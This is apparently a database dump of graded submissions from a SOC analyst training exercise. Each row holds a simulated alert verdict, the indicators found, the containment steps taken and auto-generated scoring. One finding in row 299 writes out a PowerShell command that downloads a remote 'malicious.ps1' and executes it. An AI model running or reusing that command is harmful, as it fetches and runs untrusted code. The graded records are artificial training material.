(Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:33:25.129Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:32:11', '2026-02-28 21:00:00', 0, NULL),
(299, 177, 365, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-9e107d9d\",\"cmd-1\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:05:52 PM\\nALERT: Anomalous PowerShell Activity Observed [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 9e107d9d372bb6826bd81d3542a419d6\\n- [COMMAND] powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\"\\n- [IP] 10.0.0.17\\n- [FILENAME] malicious.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:36:28.762Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:33:25', '2026-02-28 21:00:00', 0, NULL),
(300, 177, 366, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_2\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:07:44 PM\\nALERT: Creation of Hidden Scheduled Task [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.54\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:38:21.142Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:36:28', '2026-02-28 21:00:00', 0, NULL),
(301, 177, 367, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-192.168.1.10\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:11:28 PM\\nALERT: Unauthorized Access to Network Map [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 192.168.1.10\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] network_scan_tool.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:42:05.692Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:38:21', '2026-02-28 21:00:00', 0, NULL),
(302, 177, 368, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.15.23\",\"ip-203.0.113.45\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:14:11 PM\\nALERT: Exfiltration of Call Detail Records Detected [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.15.23\\n- [IP] 203.0.113.45\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [FILENAME] target_CDR_records.zip\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:44:48.507Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:42:05', '2026-02-28 21:00:00', 0, NULL),
(303, 177, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:28:14 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:58:51.044Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:56:28', '2026-02-28 21:00:00', 0, NULL),
(304, 177, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:30:36 PM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T11:01:15.318Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:58:51', '2026-02-28 21:00:00', 0, NULL),
(305, 177, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:34:49 PM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T11:05:26.381Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"isolate_host\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 11:01:15', '2026-02-28 21:00:00', 0, NULL),
(306, 177, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:37:57 PM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T11:08:36.065Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 11:05:26', '2026-02-28 21:00:00', 0, NULL),
(307, 177, 274, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-22 11:08:55', '2026-02-22 11:08:55', 0, NULL),
(308, 189, 279, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 2:48:58 AM\\nALERT: Execution of Malicious Code [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] malicious.dll\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-23T01:49:31.601Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 01:32:39', '2026-02-28 21:00:00', 0, NULL),
(309, 189, 280, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-abc123de\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:02:11 AM\\nALERT: Establish Persistence [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] abc123def4567890abc123def4567890\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou Mane\",\"submitted_at\":\"2026-02-23T02:02:24.889Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 01:49:31', '2026-02-28 21:00:00', 0, NULL),
(310, 189, 281, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.55\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:15:04 AM\\nALERT: Lateral Movement and Data Exfiltration [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.55\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_data.xlsx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-23T02:15:23.319Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:02:24', '2026-02-28 21:00:00', 0, NULL),
(311, 189, 285, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.34\",\"ip-10.0.2.15\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:35:15 AM\\nALERT: Spear-Phishing Email Campaign Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.34\\n- [IP] 10.0.2.15\\n- [EMAIL] john.doe@fakeorg.com\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [URL] http://malicious-link.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-23T02:35:28.208Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:15:42', '2026-02-28 21:00:00', 0, NULL),
(312, 189, 286, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.14.22.5\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"domain-http://login\",\"domain-login-secure\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:53:35 AM\\nALERT: Malicious Domain Infrastructure Identified [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.14.22.5\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] http://login-secure-portal.com/login\\n- [DOMAIN] login-secure-portal.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou mane\",\"submitted_at\":\"2026-02-23T02:53:57.960Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:35:28', '2026-02-28 21:00:00', 0, NULL),
(313, 189, 287, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.25\",\"hash-e99a18c4\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 4:08:23 AM\\nALERT: OAuth Token Abuse Technique Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.25\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] j.doe@company.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou mane\",\"submitted_at\":\"2026-02-23T03:08:46.603Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:53:57', '2026-02-28 21:00:00', 0, NULL),
(314, 189, 288, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.50\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 4:12:20 AM\\nALERT: Disinformation Campaign Planning Uncovered [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.50\\n- [IP] 192.168.1.105\\n- [HASH] 8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\n- [FILENAME] election_strategy_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-23T03:12:26.166Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 03:08:46', '2026-02-28 21:00:00', 0, NULL),
(315, 189, 289, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"artifact_1\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:23:48 AM\\nALERT: Phishing Email Detected [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [EMAIL] attacker@example.com\\n- [URL] http://malicious-link.com/download\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] update-instructions.html\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED:Amadou MANE\",\"submitted_at\":\"2026-02-27T02:24:38.682Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 03:12:43', '2026-02-28 21:00:00', 0, NULL),
(316, 198, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-23 23:51:06', '2026-02-23 23:51:06', 0, NULL),
(317, 199, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-23 23:52:05', '2026-02-23 23:52:05', 0, NULL),
(318, 140, 744, 'investigating', NULL, NULL, NULL, NULL, '2026-02-24 07:28:45', '2026-02-24 04:20:45', '2026-02-24 04:20:45', 0, NULL),
(319, 209, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-25 11:04:36', '2026-02-25 11:04:36', 0, NULL),
(320, 174, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-26 04:41:54', '2026-02-26 04:41:54', 0, NULL),
(321, 174, 842, 'investigating', NULL, NULL, NULL, NULL, '2026-02-26 07:59:28', '2026-02-26 04:49:28', '2026-02-26 04:49:28', 0, NULL),
(322, 109, 1305, 'investigating', NULL, NULL, NULL, NULL, '2026-02-26 17:09:46', '2026-02-26 14:03:46', '2026-02-26 14:03:46', 0, NULL),
(323, 213, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"escalate\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:29:16\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:29:19.540Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:11:50', '2026-02-28 21:00:00', 0, NULL),
(324, 213, 1271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.8.50\",\"ip-192.168.8.51\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:24:40\\nALERT: False Positive: Routine Database Synchronization Detected\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.8.50\\n- [IP] 192.168.8.51\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:24:47.726Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:19:30', '2026-02-28 21:00:00', 0, NULL),
